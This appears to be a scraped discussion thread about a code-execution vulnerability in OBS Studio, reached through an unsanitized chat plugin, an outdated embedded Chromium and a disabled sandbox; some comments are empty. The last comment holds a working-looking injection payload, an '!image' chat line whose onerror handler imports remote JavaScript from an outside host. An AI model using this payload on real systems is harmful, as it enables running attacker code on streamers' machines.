example.com/path/to/article
000 points · username · 0 hours ago
example.com67 points · 30 comments · 29 days ago · tau255
Scryptonite
doodlesdev
Sure, if the plugin developer sanitized the comments before inserting them, this wouldn't have happened _this way_, but having a browser engine two years outdated (for a reason which IMO is absolutely reasonable compared to other situations before) and having the Chromium sandbox completely disabled with nothing to substitute it is crazy in a software onto which people insert random plugins from the internet to get random functionality.
Hopefully those two changes ship fast to OBS. I may be supporting the project financially in the future if they update their security posture, as I'm generally very fond of OBS.
soulofmischief
WesSouza
Well damn.
charcircuit
Not even counting the time it took to make this PR, releasing a security update for the browser took 4 months to merge. For reference Brave has a 1 day SLA for releasing the update itself after a security fix gets published.
simoncion
[0] If you're thinking about retorting with something like "Noone will download native programs, that's why 'everything' is in a web browser!", remember that this is code execution triggered in OBS Studio. [1]
[1] <https://obsproject.com>
superkuh
This is not a bug. This is the the entire design architecture's intent for modern JS application execution based "web". If this was the correct choice for the web then this should not be a problem at all. But we all know it is. The architecture choice forces this. Until we stop arbitrarily executing random third party code this will always happen. And the consequences will get worse and worse as more bare metal features are exposed in to browsers JS virtual machines.
Be the change in the world you want to see. Turn javascript off. Use real native applications that cannot change underneath you.
tolien
dang
verteu
!image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='ahahn-kev